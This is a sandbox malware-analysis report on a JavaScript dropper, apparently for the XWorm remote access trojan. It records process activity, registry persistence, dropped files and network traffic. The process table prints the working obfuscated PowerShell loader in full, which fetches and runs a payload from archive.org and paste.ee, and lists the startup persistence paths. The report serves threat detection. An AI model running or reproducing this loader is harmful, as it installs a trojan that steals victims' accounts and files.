| File name: | REQUESTED PRODUCTS.js |
| Full analysis: | https://app.any.run/tasks/e91334ca-c73f-4ae8-89a9-fb306a773f71 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | April 29, 2025, 07:48:27 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (303), with CRLF line terminators |
| MD5: | 924FAA6807779CBD9361D6C409C1647C |
| SHA1: | 469023834AEA05850F519B00A3A6A02F4A030538 |
| SHA256: | BF4AC392932ED812A3624A18AA103061385FACEB52702972C7C26A0CF6EECDEE |
| SSDEEP: | 1536:H6smPkvtDvkP30qunuFBgitjvCrmIv6z52ZSh5BjZG2EG5H:Y |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 1348)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 1348)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 1348)
Changes the autorun value in the registry
- MSBuild.exe (PID: 5596)
Create files in the Startup directory
- MSBuild.exe (PID: 5596)
XWORM has been detected (YARA)
- MSBuild.exe (PID: 5596)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 6668)
Executes script without checking the security policy
- powershell.exe (PID: 1348)
Base64-obfuscated command line is found
- wscript.exe (PID: 6668)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 6668)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 6668)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 6668)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 6668)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 1348)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 1348)
Likely accesses (executes) a file from the Public directory
- cmd.exe (PID: 660)
Potential Corporate Privacy Violation
- powershell.exe (PID: 1348)
Executable content was dropped or overwritten
- MSBuild.exe (PID: 5596)
Process drops legitimate windows executable
- MSBuild.exe (PID: 5596)
INFO
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 1348)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 1348)
Disables trace logs
- powershell.exe (PID: 1348)
Checks proxy server information
- powershell.exe (PID: 1348)
Gets data length (POWERSHELL)
- powershell.exe (PID: 1348)
Checks supported languages
- MSBuild.exe (PID: 5596)
- MSBuild.exe (PID: 3240)
Reads the computer name
- MSBuild.exe (PID: 5596)
- MSBuild.exe (PID: 3240)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 5596)
Auto-launch of the file from Registry key
- MSBuild.exe (PID: 5596)
Creates files or folders in the user directory
- MSBuild.exe (PID: 5596)
The sample compiled with english language support
- MSBuild.exe (PID: 5596)
Auto-launch of the file from Startup directory
- MSBuild.exe (PID: 5596)
Manual execution by a user
- MSBuild.exe (PID: 3240)
Reads the software policy settings
- slui.exe (PID: 4224)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
139
Monitored processes
11
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 660 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\fomented.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1348 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$yearnings = 'JABNAHUAeQBiAHIAaQBkAGcAZQAgAD0AIAAnADAALwAyAFIAYgBOAGQAbgBtAGMALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHAAIwAjAGgAJwA7ACQAbgBvAHIAdABoAHcAZQBzAHQAdwBhAHIAZABzACAAPQAgACQATQB1AHkAYgByAGkAZABnAGUAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbABlAGEAbgBzAGsAaQBuAHMAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwAyADAAMgA1ADAANAAxADMALwBuAGUAdwBfAGkAbQBhAGcAZQAuAGoAcABnACcAOwAkAHoAZQBuAGQAaQBrAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAegBlAG4AZABpAGsAcwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABlAHAAaQB0AHIAbwBjAGgAbABlAGEAIAA9ACAAJAB6AGUAbgBkAGkAawBzAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGMAbABlAGEAbgBzAGsAaQBuAHMAKQA7ACQAZABlAG4AdABpAHMAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGUAcABpAHQAcgBvAGMAaABsAGUAYQApADsAJABmAGUAbgBlAHMAdAByAGEAbAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAbwByAGcAYQBuAGkAcwBlAHIAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAbQBhAHQAcgBpAGMAZQBuAHQAcgBpAGMAIAA9ACAAJABkAGUAbgB0AGkAcwB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZgBlAG4AZQBzAHQAcgBhAGwAKQA7ACQATQBhAGQAZQBtAG8AaQBzAGUAbABsAGUAIAA9ACAAJABkAGUAbgB0AGkAcwB0AC4ASQBuAGQAZQB4AE8AZgAoACQAbwByAGcAYQBuAGkAcwBlAHIAKQA7ACQAbQBhAHQAcgBpAGMAZQBuAHQAcgBpAGMAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABNAGEAZABlAG0AbwBpAHMAZQBsAGwAZQAgAC0AZwB0ACAAJABtAGEAdAByAGkAYwBlAG4AdAByAGkAYwA7ACQAbQBhAHQAcgBpAGMAZQBuAHQAcgBpAGMAIAArAD0AIAAkAGYAZQBuAGUAcwB0AHIAYQBsAC4ATABlAG4AZwB0AGgAOwAkAGkAbQBwAGUAcgB0AHUAcgBiAGUAZAAgAD0AIAAkAE0AYQBkAGUAbQBvAGkAcwBlAGwAbABlACAALQAgACQAbQBhAHQAcgBpAGMAZQBuAHQAcgBpAGMAOwAkAGMAbwBvAHIAZwBhAG4AaQB6AGUAcgAgAD0AIAAkAGQAZQBuAHQAaQBzAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAbQBhAHQAcgBpAGMAZQBuAHQAcgBpAGMALAAgACQAaQBtAHAAZQByAHQAdQByAGIAZQBkACkAOwAkAGQAaQBzAG0AZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAbwBvAHIAZwBhAG4AaQB6AGUAcgApADsAJABuAGUAbwByAG4AaQB0AGgAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGQAaQBzAG0AZQBzACkAOwAkAGYAbwByAHQAaABpAG4AawAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAG4AbwByAHQAaAB3AGUAcwB0AHcAYQByAGQAcwAsACcAMQAnACwAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAGYAbwBtAGUAbgB0AGUAZAAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAGoAcwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAyACcALAAnACcAKQApAA==' -replace '','';$spleniserrate = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($yearnings));Invoke-Expression $spleniserrate;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3240 | C:\Users\admin\AppData\Roaming\MSBuild.exe | C:\Users\admin\AppData\Roaming\MSBuild.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 1 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 4224 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4428 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | MSBuild.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4688 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5596 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 6480 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6512 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6620 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
7 006
Read events
7 003
Write events
3
Delete events
0
Modification events
| (PID) Process: | (6668) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: C5B5100000000000 | |||
| (PID) Process: | (1348) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\fomented.js | |||
| (PID) Process: | (5596) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | MSBuild |
Value: C:\Users\admin\AppData\Roaming\MSBuild.exe | |||
Executable files
1
Suspicious files
2
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5596 | MSBuild.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.lnk | binary | |
MD5:3EDCDD3EBFFACCBB5C5F615BA2A6A728 | SHA256:ECF1C4DFDA1F119CA3F70996FFEA31781A00034727B534AD3886B22B890D0B40 | |||
| 5596 | MSBuild.exe | C:\Users\admin\AppData\Roaming\MSBuild.exe | executable | |
MD5:9F331A11A054F33664FE86543FC34CF0 | SHA256:5F9AF68DB10B029453264CFC9B8EEE4265549A2855BB79668CCFC571FB11F5FC | |||
| 660 | cmd.exe | C:\Users\Public\Downloads\fomented.js | text | |
MD5:44295AA9450B6CE2E721417AE873CD73 | SHA256:6346B4040E07124483856DF8EDE0406DDEF4BB9B08F488782EBD5BB8AD333DE0 | |||
| 1348 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3pv03wmd.au4.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1348 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_y20aw4cq.o2d.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1348 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:63189FE76266618D24629FBDBB46BC39 | SHA256:B6FA723E1EBDE9A0C434F6580FD9B577E38A13AD2AB45CC802061C725D8E067D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
17
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1348 | powershell.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/cmndNbR2/0 | unknown | — | — | shared |
5176 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5176 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.124.78.146:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1348 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
1348 | powershell.exe | 207.241.233.30:443 | ia801700.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
archive.org |
| whitelisted |
ia801700.us.archive.org |
| whitelisted |
client.wns.windows.com |
| whitelisted |
paste.ee |
| shared |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
1348 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |